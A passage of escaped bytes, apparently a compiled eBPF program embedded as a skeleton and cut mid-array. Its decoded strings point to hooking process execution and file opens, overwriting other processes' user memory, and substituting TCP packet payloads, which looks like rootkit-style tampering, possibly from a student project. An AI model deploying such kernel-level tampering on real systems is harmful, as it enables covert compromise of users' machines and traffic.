+\0\xd9\xff\xff\xff\x67\x02\0\0\x20\0\0\0\x77\x02\0\0\x20\0\0\0\x0f\x21\0\0\0\0\ +\0\0\x2d\x81\x42\0\0\0\0\0\xb7\x01\0\0\x29\0\0\0\x73\x19\x26\0\0\0\0\0\xb7\x01\ +\0\0\x3b\0\0\0\x73\x19\x25\0\0\0\0\0\xb7\x01\0\0\x64\0\0\0\x73\x19\x21\0\0\0\0\ +\0\x73\x19\x20\0\0\0\0\0\xb7\x01\0\0\x6e\0\0\0\x73\x19\x23\0\0\0\0\0\x73\x19\ +\x1c\0\0\0\0\0\xb7\x01\0\0\x62\0\0\0\x73\x19\x19\0\0\0\0\0\xb7\x01\0\0\x67\0\0\ +\0\x73\x19\x12\0\0\0\0\0\xb7\x01\0\0\x61\0\0\0\x73\x19\x16\0\0\0\0\0\x73\x19\ +\x11\0\0\0\0\0\xb7\x01\0\0\x6d\0\0\0\x73\x19\x0d\0\0\0\0\0\xb7\x01\0\0\x73\0\0\ +\0\x73\x19\x17\0\0\0\0\0\x73\x19\x10\0\0\0\0\0\x73\x19\x0f\0\0\0\0\0\x73\x19\ +\x0b\0\0\0\0\0\xb7\x01\0\0\x75\0\0\0\x73\x19\x0a\0\0\0\0\0\xb7\x01\0\0\x6f\0\0\ +\0\x73\x19\x09\0\0\0\0\0\xb7\x01\0\0\x69\0\0\0\x73\x19\x1f\0\0\0\0\0\x73\x19\ +\x08\0\0\0\0\0\xb7\x01\0\0\x76\0\0\0\x73\x19\x07\0\0\0\0\0\xb7\x01\0\0\x72\0\0\ +\0\x73\x19\x05\0\0\0\0\0\xb7\x01\0\0\x70\0\0\0\x73\x19\x04\0\0\0\0\0\xb7\x01\0\ +\0\x20\0\0\0\x73\x19\x24\0\0\0\0\0\x73\x19\x1d\0\0\0\0\0\x73\x19\x18\0\0\0\0\0\ +\x73\x19\x14\0\0\0\0\0\x73\x19\x0c\0\0\0\0\0\x73\x19\x03\0\0\0\0\0\xb7\x01\0\0\ +\x65\0\0\0\x73\x19\x22\0\0\0\0\0\x73\x19\x1b\0\0\0\0\0\x73\x19\x1a\0\0\0\0\0\ +\x73\x19\x13\0\0\0\0\0\x73\x19\x0e\0\0\0\0\0\x73\x19\x06\0\0\0\0\0\x73\x19\x02\ +\0\0\0\0\0\xb7\x01\0\0\x68\0\0\0\x73\x19\x1e\0\0\0\0\0\x73\x19\x15\0\0\0\0\0\ +\x73\x19\x01\0\0\0\0\0\xb7\x01\0\0\x54\0\0\0\x73\x19\0\0\0\0\0\0\x05\0\x0b\0\0\ +\0\0\0\x18\x01\0\0\xf9\x01\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x26\0\0\0\x05\0\x37\ +\xfe\0\0\0\0\x18\x01\0\0\0\x04\0\0\0\0\0\0\0\0\0\0\x05\0\x02\0\0\0\0\0\x18\x01\ +\0\0\x2d\x04\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x2d\0\0\0\x85\0\0\0\x06\0\0\0\x18\ +\x01\0\0\x1f\x02\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x35\0\0\0\x79\xa3\xa8\xff\0\0\ +\0\0\xbf\x94\0\0\0\0\0\0\x79\xa5\xa0\xff\0\0\0\0\x85\0\0\0\x06\0\0\0\x05\0\xd8\ +\xfe\0\0\0\0\x45\x72\x72\x6f\x72\x0a\0\x4e\x6f\x74\x20\x66\x6f\x75\x6e\x64\x0a\ +\0\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\0\0\x4f\x76\x65\x72\x77\ +\x72\x69\x74\x74\x69\x6e\x67\x20\x61\x74\x20\x70\x69\x64\x20\x25\x75\x2c\x20\ +\x25\x73\x0a\0\x45\x72\x72\x6f\x72\x20\x77\x72\x69\x74\x69\x6e\x67\x20\x74\x6f\ +\x20\x75\x73\x65\x72\x20\x6d\x65\x6d\x6f\x72\x79\x0a\0\x4e\x45\x57\x20\x61\x74\ +\x20\x70\x69\x64\x20\x25\x75\x2c\x20\x25\x73\x0a\0\x42\x6f\x75\x6e\x64\x20\x63\ +\x68\x65\x63\x6b\x20\x66\x61\x69\x6c\x20\x41\0\x42\0\x44\0\x45\x20\x25\x69\x0a\ +\0\x46\x2c\x20\x50\x53\x3a\x25\x69\x2c\x20\x50\x3a\x25\x69\x2c\x20\x44\x45\x3a\ +\x25\x69\x0a\0\x47\0\x52\x65\x63\x65\x69\x76\x65\x64\x20\x76\x61\x6c\x69\x64\ +\x20\x54\x43\x50\x20\x70\x61\x63\x6b\x65\x74\x20\x77\x69\x74\x68\x20\x70\x61\ +\x79\x6c\x6f\x61\x64\x20\x25\x73\x20\x6f\x66\x20\x73\x69\x7a\x65\x20\x25\x69\ +\x0a\0\x48\0\x4f\x4c\x44\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x3a\x20\x25\x69\ +\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x3a\x20\x25\x69\x0a\0\x43\x6f\x6e\x74\x72\ +\x6f\x6c\x20\x62\x61\x63\x6b\x20\x74\x6f\x20\x6d\x61\x69\x6e\x20\x70\x72\x6f\ +\x67\x72\x61\x6d\x20\x77\x69\x74\x68\x20\x72\x65\x74\x63\x6f\x64\x65\x20\x25\ +\x69\x20\x61\x66\x74\x65\x72\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x20\x25\ +\x69\x20\x62\x79\x74\x65\x73\x0a\0\x42\x6f\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\ +\x20\x41\x20\x66\x61\x69\x6c\x65\x64\x20\x77\x68\x69\x6c\x65\x20\x65\x78\x70\ +\x61\x6e\x64\x69\x6e\x67\x0a\0\x42\x6f\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\ +\x42\x20\x66\x61\x69\x6c\x65\x64\x20\x77\x68\x69\x6c\x65\x20\x65\x78\x70\x61\ +\x6e\x64\x69\x6e\x67\x0a\0\x42\x6f\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x44\ +\x20\x66\x61\x69\x6c\x65\x64\x20\x77\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\ +\x64\x69\x6e\x67\x0a\0\x55\x6e\x6c\x69\x6b\x65\x6c\x79\x20\x79\x6f\x75\x20\x61\ +\x72\x65\x20\x68\x65\x72\x65\x2c\x20\x62\x75\x74\x20\x4f\x4b\x0a\0\x42\x6f\x75\ +\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x45\x20\x66\x61\x69\x6c\x65\x64\x20\x77\ +\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x0a\0\x42\x6f\x75\x6e\ +\x64\x20\x63\x68\x65\x63\x6b\x20\x46\x20\x66\x61\x69\x6c\x65\x64\x20\x77\x68\ +\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x0a\0\x42\x50\x46\x20\x66\ +\x69\x6e\x69\x73\x68\x65\x64\x20\x77\x69\x74\x68\x20\x72\x65\x74\x20\x25\x69\ +\x20\x61\x6e\x64\x20\x70\x61\x79\x6c\x6f\x61\x64\x20\x25\x73\x20\x6f\x66\x20\ +\x73\x69\x7a\x65\x20\x25\x69\x0a\x20\0\x42\x50\x46\x20\x66\x69\x6e\x69\x73\x68\ +\x65\x64\x20\x77\x69\x74\x68\x20\x65\x72\x72\x6f\x72\x20\x6f\x6e\x20\x65\x78\ +\x70\x61\x6e\x73\x69\x6f\x6e\x0a\0\x50\x72\x65\x76\x69\x6f\x75\x73\x20\x6c\x65\ +\x6e\x67\x74\x68\x3a\x20\x25\x69\x2c\x20\x63\x75\x72\x72\x65\x6e\x74\x20\x6c\ +\x65\x6e\x67\x74\x68\x3a\x20\x25\x69\x0a\0\x4e\x45\x57\x20\x64\x61\x74\x61\x5f\ +\x65\x6e\x64\x3a\x20\x25\x69\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x3a\x20\x25\ +\x69\x0a\0\x41\x6e\x64\x20\x6f\x6e\x20\x4e\x45\x57\x20\x43\x54\x58\x20\x64\x61\ +\x74\x61\x5f\x65\x6e\x64\x3a\x20\x25\x69\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\ +\x3a\x20\x25\x69\x0a\0\x49\x4e\x20\x50\x49\x44\x3a\x20\x25\x75\x2c\x20\x46\x53\ +\x3a\x25\x75\x0a\0\x46\x61\x69\x6c\x65\x64\x20\x74\x6f\x20\x65\x78\x70\x61\x6e\ +\x64\x20\x61\x20\x74\x63\x70\x20\x70\x61\x63\x6b\x65\x74\x20\x72\x65\x73\x65\ +\x72\x76\x65\x64\x20\x62\x79\x74\x65\x73\x20\x62\x79\x20\x25\x69\x0a\0\x42\x6f\ +\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x41\x20\x66\x61\x69\x6c\x65\x64\x20\ +\x77\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x0a\0\x42\x6f\x75\ +\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x42\x20\x66\x61\x69\x6c\x65\x64\x20\x77\ +\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x0a\0\x42\x6f\x75\x6e\ +\x64\x20\x63\x68\x65\x63\x6b\x20\x43\x20\x66\x61\x69\x6c\x65\x64\x20\x77\x68\ +\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x0a\0\x62\x65\x66\x6f\x72\ +\x65\x3a\x20\x25\x69\x2c\x20\x63\x68\x65\x63\x6b\x73\x75\x6d\x20\x25\x75\x0a\0\ +\x61\x66\x74\x65\x72\x3a\x20\x25\x69\x2c\x20\x63\x68\x65\x63\x6b\x73\x75\x6d\ +\x20\x25\x75\x0a\0\x63\x73\x75\x6d\x3a\x20\x25\x75\x20\x66\x6f\x72\x20\x64\x61\ +\x74\x61\x5f\x73\x74\x61\x72\x74\x20\x25\x75\x2c\x20\x64\x61\x74\x61\x5f\x73\ +\x69\x7a\x65\x20\x25\x69\x0a\0\x49\x6e\x76\x61\x6c\x69\x64\x20\x61\x74\x74\x65\ +\x6d\x70\x74\x20\x74\x6f\x20\x73\x75\x62\x73\x74\x69\x74\x75\x74\x65\x20\x74\ +\x68\x65\x20\x70\x61\x79\x6c\x6f\x61\x64\x20\x41\x0a\0\x49\x6e\x76\x61\x6c\x69\ +\x64\x20\x61\x74\x74\x65\x6d\x70\x74\x20\x74\x6f\x20\x73\x75\x62\x73\x74\x69\ +\x74\x75\x74\x65\x20\x74\x68\x65\x20\x70\x61\x79\x6c\x6f\x61\x64\x20\x43\x0a\0\ +\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x44\x75\x61\x6c\x20\x42\x53\x44\x2f\x47\x50\x4c\ +\0\x9f\xeb\x01\0\x18\0\0\0\0\0\0\0\x50\x0c\0\0\x50\x0c\0\0\x0d\x20\0\0\0\0\0\0\ +\0\0\0\x02\x03\0\0\0\x01\0\0\0\0\0\0\x01\x04\0\0\0\x20\0\0\x01\0\0\0\0\0\0\0\ +\x03\0\0\0\0\x02\0\0\0\x04\0\0\0\x01\0\0\0\x05\0\0\0\0\0\0\x01\x04\0\0\0\x20\0\ +\0\0\0\0\0\0\0\0\0\x02\x06\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x02\0\0\0\x04\0\0\0\ +\0\x40\0\0\0\0\0\0\0\0\0\x02\x08\0\0\0\x19\0\0\0\0\0\0\x08\x09\0\0\0\x1f\0\0\0\ +\0\0\0\x01\x08\0\0\0\x40\0\0\0\0\0\0\0\0\0\0\x02\x0b\0\0\0\x36\0\0\0\x03\0\0\ +\x04\x10\0\0\0\x43\0\0\0\x0c\0\0\0\0\0\0\0\x47\0\0\0\x02\0\0\0\x40\0\0\0\x4a\0\ +\0\0\x0e\0\0\0\x60\0\0\0\0\0\0\0\0\0\0\x02\x0d\0\0\0\x4e\0\0\0\0\0\0\x01\x01\0\ +\0\0\x08\0\0\x01\x53\0\0\0\0\0\0\x08\x0f\0\0\0\x59\0\0\0\0\0\0\x01\x04\0\0\0\ +\x20\0\0\0\x66\0\0\0\x04\0\0\x04\x20\0\0\0\x6e\0\0\0\x01\0\0\0\0\0\0\0\x73\0\0\ +\0\x05\0\0\0\x40\0\0\0\x7f\0\0\0\x07\0\0\0\x80\0\0\0\x83\0\0\0\x0a\0\0\0\xc0\0\ +\0\0\x66\0\0\0\0\0\0\x0e\x10\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\x02\x13\0\0\0\0\0\0\ +\0\0\0\0\x03\0\0\0\0\x02\0\0\0\x04\0\0\0\x1b\0\0\0\0\0\0\0\0\0\0\x02\x15\0\0\0\ +\0\0\0\0\0\0\0\x03\0\0\0\0\x02\0\0\0\x04\0\0\0\0\0\x04\0\x89\0\0\0\x02\0\0\x04\ +\x10\0\0\0\x6e\0\0\0\x12\0\0\0\0\0\0\0\x73\0\0\0\x14\0\0\0\x40\0\0\0\x95\0\0\0\ +\0\0\0\x0e\x16\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\x02\x19\0\0\0\x9d\0\0\0\x05\0\0\ +\x04\x14\0\0\0\xc0\0\0\0\x1a\0\0\0\0\0\0\0\xc4\0\0\0\x1d\0\0\0\x40\0\0\0\x4a\0\ +\0\0\x1e\0\0\0\x60\0\0\0\xd8\0\0\0\x1e\0\0\0\x80\0\0\0\xe0\0\0\0\x20\0\0\0\xa0\ +\0\0\0\xe7\0\0\0\x04\0\0\x04\x08\0\0\0\x6e\0\0\0\x1b\0\0\0\0\0\0\0\xf3\0\0\0\ +\x1c\0\0\0\x10\0\0\0\xf9\0\0\0\x1c\0\0\0\x18\0\0\0\x4a\0\0\0\x02\0\0\0\x20\0\0\ +\0\x07\x01\0\0\0\0\0\x01\x02\0\0\0\x10\0\0\0\x16\x01\0\0\0\0\0\x01\x01\0\0\0\ +\x08\0\0\0\x24\x01\0\0\0\0\0\x08\x0e\0\0\0\x28\x01\0\0\0\0\0\x08\x1f\0\0\0\x2e\ +\x01\0\0\0\0\0\x08\x02\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x0d\0\0\0\x04\0\0\0\0\0\ +\0\0\0\0\0\0\x01\0\0\x0d\x02\0\0\0\x3d\x01\0\0\x18\0\0\0\x41\x01\0\0\x01\0\0\ +\x0c\x21\0\0\0\0\0\0\0\0\0\0\x02\x24\0\0\0\xe0\x01\0\0\x06\0\0\x04\x28\0\0\0\ +\xf3\x01\0\0\x09\0\0\0\0\0\0\0\xfa\x01\0\0\x02\0\0\0\x40\0\0\0\x07\x02\0\0\x0f\ +\0\0\0\x60\0\0\0\x47\0\0\0\x25\0\0\0\x80\0\0\0\x43\0\0\0\x0c\0\0\0\xc0\0\0\0\ +\x0f\x02\0\0\x26\0\0\0\0\x01\0\0\x15\x02\0\0\0\0\0\x01\x08\0\0\0\x40\0\0\0\x27\ +\x02\0\0\0\0\0\x08\x27\0\0\0\x2e\x02\0\0\0\0\0\x08\x28\0\0\0\x3e\x02\0\0\0\0\0\ +\x08\x25\0\0\0\0\0\0\0\x01\0\0\x0d\x02\0\0\0\x3d\x01\0\0\x23\0\0\0\x4f\x02\0\0\ +\x01\0\0\x0c\x29\0\0\0\0\0\0\0\0\0\0\x02\x2c\0\0\0\x07\x04\0\0\x03\0\0\x04\x18\ +\0\0\0\xf3\x01\0\0\x09\0\0\0\0\0\0\0\xfa\x01\0\0\x02\0\0\0\x40\0\0\0\x19\x04\0\ +\0\x2d\0\0\0\x80\0\0\0\x1d\x04\0\0\0\0\0\x01\x08\0\0\0\x40\0\0\x01\0\0\0\0\x01\ +\0\0\x0d\x02\0\0\0\x3d\x01\0\0\x2b\0\0\0\x26\x04\0\0\x01\0\0\x0c\x2e\0\0\0\0\0\ +\0\0\0\0\0\x02\x31\0\0\0\xc2\x06\0\0\x06\0\0\x04\x18\0\0\0\xc9\x06\0\0\x0e\0\0\ +\0\0\0\0\0\xce\x06\0\0\x0e\0\0\0\x20\0\0\0\xd7\x06\0\0\x0e\0\0\0\x40\0\0\0\xe1\ +\x06\0\0\x0e\0\0\0\x60\0\0\0\xf1\x06\0\0\x0e\0\0\0\x80\0\0\0\0\x07\0\0\x0e\0\0\ +\0\xa0\0\0\0\0\0\0\0\x01\0\0\x0d\x02\0\0\0\x3d\x01\0\0\x30\0\0\0\x0f\x07\0\0\ +\x01\0\0\x0c\x32\0\0\0\x24\x09\0\0\x0b\0\0\x84\x14\0\0\0\x2a\x09\0\0\x35\0\0\0\ +\0\0\0\x04\x2e\x09\0\0\x35\0\0\0\x04\0\0\x04\x36\x09\0\0\x35\0\0\0\x08\0\0\0\ +\x3a\x09\0\0\x36\0\0\0\x10\0\0\0\x42\x09\0\0\x36\0\0\0\x20\0\0\0\x45\x09\0\0\ +\x36\0\0\0\x30\0\0\0\x4e\x09\0\0\x35\0\0\0\x40\0\0\0\x52\x09\0\0\x35\0\0\0\x48\ +\0\0\0\x5b\x09\0\0\x38\0\0\0\x50\0\0\0\x61\x09\0\0\x39\0\0\0\x60\0\0\0\x67\x09\ +\0\0\x39\0\0\0\x80\0\0\0\x6d\x09\0\0\0\0\0\x08\x1c\0\0\0\x72\x09\0\0\0\0\0\x08\ +\x37\0\0\0\x79\x09\0\0\0\0\0\x08\x1b\0\0\0\x7f\x09\0\0\0\0\0\x08\x37\0\0\0\x87\ +\x09\0\0\0\0\0\x08\x0e\0\0\0\x51\x0a\0\0\x11\0\0\x84\x14\0\0\0\x58\x0a\0\0\x36\ +\0\0\0\0\0\0\0\x5f\x0a\0\0\x36\0\0\0\x10\0\0\0\x64\x0a\0\0\x39\0\0\0\x20\0\0\0\ +\x68\x0a\0\0\x39\0\0\0\x40\0\0\0\x70\x0a\0\0\x37\0\0\0\x60\0\0\x04\x75\x0a\0\0\ +\x37\0\0\0\x64\0\0\x04\x7a\x0a\0\0\x37\0\0\0\x68\0\0\x01\x7e\x0a\0\0\x37\0\0\0\ +\x69\0\0\x01\x82\x0a\0\0\x37\0\0\0\x6a\0\0\x01\x86\x0a\0\0\x37\0\0\0\x6b\0\0\ +\x01\x8a\x0a\0\0\x37\0\0\0\x6c\0\0\x01\x8e\x0a\0\0\x37\0\0\0\x6d\0\0\x01\x92\ +\x0a\0\0\x37\0\0\0\x6e\0\0\x01\x96\x0a\0\0\x37\0\0\0\x6f\0\0\x01\x9a\x0a\0\0\ +\x36\0\0\0\x70\0\0\0\x5b\x09\0\0\x38\0\0\0\x80\0\0\0\xa1\x0a\0\0\x36\0\0\0\x90\ +\0\0\0\0\0\0\0\0\0\0\x0a\x0d\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\ +\0\x07\0\0\0\x50\x1c\0\0\0\0\0\x0e\x3c\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\ +\x3b\0\0\0\x04\0\0\0\x0b\0\0\0\x69\x1c\0\0\0\0\0\x0e\x3e\0\0\0\0\0\0\0\0\0\0\0\ +\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x1c\0\0\0\x86\x1c\0\0\0\0\0\x0e\x40\0\0\ +\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x1e\0\0\0\xa3\x1c\0\0\ +\0\0\0\x0e\x42\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x13\ +\0\0\0\xc0\x1c\0\0\0\0\0\x0e\x44\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x0d\0\ +\0\0\x04\0\0\0\x0d\0\0\0\xdd\x1c\0\0\0\0\0\x0e\x46\0\0\0\x01\0\0\0\xe5\x1c\0\0\ +\0\0\0\x0e\x44\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x02\ +\0\0\0\xf9\x1c\0\0\0\0\0\x0e\x49\0\0\0\0\0\0\0\x0f\x1d\0\0\0\0\0\x0e\x49\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x06\0\0\0\x25\x1d\0\0\0\ +\0\0\x0e\x4c\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x17\0\ +\0\0\x3b\x1d\0\0\0\0\0\x0e\x4e\0\0\0\0\0\0\0\x51\x1d\0\0\0\0\0\x0e\x49\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x36\0\0\0\x68\x1d\0\0\0\0\ +\0\x0e\x51\0\0\0\0\0\0\0\x7f\x1d\0\0\0\0\0\x0e\x49\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ +\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x1f\0\0\0\x96\x1d\0\0\0\0\0\x0e\x54\0\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x47\0\0\0\xad\x1d\0\0\0\0\0\ +\x0e\x56\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x26\0\0\0\ +\xc4\x1d\0\0\0\0\0\x0e\x58\0\0\0\0\0\0\0\xdb\x1d\0\0\0\0\0\x0e\x58\0\0\0\0\0\0\ +\0\xf2\x1d\0\0\0\0\0\x0e\x58\0\0\0\0\0\0\0\x09\x1e\0\0\0\0\0\x0e\x54\0\0\0\0\0\ +\0\0\x20\x1e\0\0\0\0\0\x0e\x58\0\0\0\0\0\0\0\x37\x1e\0\0\0\0\0\x0e\x58\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x35\0\0\0\x4e\x1e\0\0\0\0\ +\0\x0e\x5f\0\0\0\0\0\0\0\x65\x1e\0\0\0\0\0\x0e\x58\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ +\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x29\0\0\0\x7c\x1e\0\0\0\0\0\x0e\x62\0\0\0\0\0\ +\0\0\x93\x1e\0\0\0\0\0\x0e\x54\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\ +\0\x04\0\0\0\x2a\0\0\0\xaa\x1e\0\0\0\0\0\x0e\x65\0\0\0\0\0\0\0\xc1\x1e\0\0\0\0\ +\0\x0e\x44\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x34\0\0\ +\0\xd9\x1e\0\0\0\0\0\x0e\x68\0\0\0\0\0\0\0\xfb\x1e\0\0\0\0\0\x0e\x58\0\0\0\0\0\ +\0\0\x20\x1f\0\0\0\0\0\x0e\x58\0\0\0\0\0\0\0\x45\x1f\0\0\0\0\0\x0e\x58\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x19\0\0\0\x6a\x1f\0\0\0\0\ +\0\x0e\x6d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x18\0\0\ +\0\x8f\x1f\0\0\0\0\0\x0e\x6f\0\0\0\0\0\0\0\xb4\x1f\0\0\0\0\0\x0e\x65\0\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x3b\0\0\0\x04\0\0\0\x2d\0\0\0\xc6\x1f\0\0\0\0\0\ +\x0e\x72\0\0\0\0\0\0\0\xdd\x1f\0\0\0\0\0\x0e\x72\0\0\0\0\0\0\0\xf7\x1f\0\0\x02\ +\0\0\x0f\0\0\0\0\x11\0\0\0\0\0\0\0\x20\0\0\0\x17\0\0\0\0\0\0\0\x10\0\0\0\xfd\ +\x1f\0\0\x24\0\0\x0f\0\0\0\0\x3d\0\0\0\0\0\0\0\x07\0\0\0\x3f\0\0\0\x07\0\0\0\ +\x0b\0\0\0\x41\0\0\0\x21\0\0\0\x1c\0\0\0\x43\0\0\0\x3d\0\0\0\x1e\0\0\0\x45\0\0\ +\0\x5b\0\0\0\x13\0\0\0\x48\0\0\0\x6e\0\0\0\x13\0\0\0\x4a\0\0\0\x81\0\0\0\x02\0\ +\0\0\x4b\0\0\0\x83\0\0\0\x02\0\0\0\x4d\0\0\0\x85\0\0\0\x06\0\0\0\x4f\0\0\0\x8b\ +\0\0\0\x17\0\0\0\x50\0\0\0\xa2\0\0\0\x02\0\0\0\x52\0\0\0\xa4\0\0\0\x36\0\0\0\ +\x53\0\0\0\xda\0\0\0\x02\0\0\0\x55\0\0\0\xdc\0\0\0\x1f\0\0\0\x57\0\0\0\xfb\0\0\ +\0\x47\0\0\0\x59\0\0\0\x42\x01\0\0\x26\0\0\0\x5a\0\0\0\x68\x01\0\0\x26\0\0\0\ +\x5b\0\0\0\x8e\x01\0\0\x26\0\0\0\x5c\0\0\0\xb4\x01\0\0\x1f\0\0\0\x5d\0\0\0\xd3\ +\x01\0\0\x26\0\0\0\x5e\0\0\0\xf9\x01\0\0\x26\0\0\0\x60\0\0\0\x1f\x02\0\0\x35\0\ +\0\0\x61\0\0\0\x54\x02\0\0\x26\0\0\0\x63\0\0\0\x7a\x02\0\0\x29\0\0\0\x64\0\0\0\ +\xa3\x02\0\0\x1f\0\0\0\x66\0\0\0\xc2\x02\0\0\x2a\0\0\0\x67\0\0\0\xec\x02\0\0\ +\x13\0\0\0\x69\0\0\0\xff\x02\0\0\x34\0\0\0\x6a\0\0\0\x33\x03\0\0\x26\0\0\0\x6b\ +\0\0\0\x59\x03\0\0\x26\0\0\0\x6c\0\0\0\x7f\x03\0\0\x26\0\0\0\x6e\0\0\0\xa5\x03\ +\0\0\x19\0\0\0\x70\0\0\0\xbe\x03\0\0\x18\0\0\0\x71\0\0\0\xd6\x03\0\0\x2a\0\0\0\ +\x73\0\0\0\0\x04\0\0\x2d\0\0\0\x74\0\0\0\x2d\x04\0\0\x2d\0\0\0\x05\x20\0\0\x01\ +\0\0\x0f\0\0\0\0\x47\0\0\0\0\0\0\0\x0d\0\0\0\0\x69\x6e\x74\0\x5f\x5f\x41\x52\ +\x52\x41\x59\x5f\x53\x49\x5a\x45\x5f\x54\x59\x50\x45\x5f\x5f\0\x5f\x5f\x75\x36\ +\x34\0\x6c\x6f\x6e\x67\x20\x6c\x6f\x6e\x67\x20\x75\x6e\x73\x69\x67\x6e\x65\x64\ +\x20\x69\x6e\x74\0\x66\x73\x5f\x6f\x70\x65\x6e\x5f\x64\x61\x74\x61\0\x62\x75\ +\x66\0\x66\x64\0\x70\x69\x64\0\x63\x68\x61\x72\0\x5f\x5f\x75\x33\x32\0\x75\x6e\ +\x73\x69\x67\x6e\x65\x64\x20\x69\x6e\x74\0\x66\x73\x5f\x6f\x70\x65\x6e\0\x74\ +\x79\x70\x65\0\x6d\x61\x78\x5f\x65\x6e\x74\x72\x69\x65\x73\0\x6b\x65\x79\0\x76\ +\x61\x6c\x75\x65\0\x72\x69\x6e\x67\x5f\x62\x75\x66\x66\x65\x72\0\x72\x62\x5f\ +\x63\x6f\x6d\x6d\0\x74\x72\x61\x63\x65\x5f\x65\x76\x65\x6e\x74\x5f\x72\x61\x77\ +\x5f\x73\x63\x68\x65\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x5f\x65\x78\x65\x63\0\ +\x65\x6e\x74\0\x5f\x5f\x64\x61\x74\x61\x5f\x6c\x6f\x63\x5f\x66\x69\x6c\x65\x6e\ +\x61\x6d\x65\0\x6f\x6c\x64\x5f\x70\x69\x64\0\x5f\x5f\x64\x61\x74\x61\0\x74\x72\ +\x61\x63\x65\x5f\x65\x6e\x74\x72\x79\0\x66\x6c\x61\x67\x73\0\x70\x72\x65\x65\ +\x6d\x70\x74\x5f\x63\x6f\x75\x6e\x74\0\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x73\ +\x68\x6f\x72\x74\0\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x63\x68\x61\x72\0\x75\ +\x33\x32\0\x70\x69\x64\x5f\x74\0\x5f\x5f\x6b\x65\x72\x6e\x65\x6c\x5f\x70\x69\ +\x64\x5f\x74\0\x63\x74\x78\0\x68\x61\x6e\x64\x6c\x65\x5f\x73\x63\x68\x65\x64\ +\x5f\x70\x72\x6f\x63\x65\x73\x73\x5f\x65\x78\x65\x63\0\x74\x70\x2f\x73\x63\x68\ +\x65\x64\x2f\x73\x63\x68\x65\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x5f\x65\x78\ +\x65\x63\0\x2f\x68\x6f\x6d\x65\x2f\x6f\x73\x62\x6f\x78\x65\x73\x2f\x54\x46\x47\ +\x2f\x73\x72\x63\x2f\x65\x62\x70\x66\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x62\ +\x70\x66\x2f\x73\x63\x68\x65\x64\x2e\x68\0\x09\x70\x69\x64\x5f\x74\x20\x70\x69\ +\x64\x20\x3d\x20\x62\x70\x66\x5f\x67\x65\x74\x5f\x63\x75\x72\x72\x65\x6e\x74\ +\x5f\x70\x69\x64\x5f\x74\x67\x69\x64\x28\x29\x20\x3e\x3e\x20\x33\x32\x3b\0\x09\ +\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\0\x73\x79\x73\x5f\x72\x65\x61\x64\x5f\x65\ 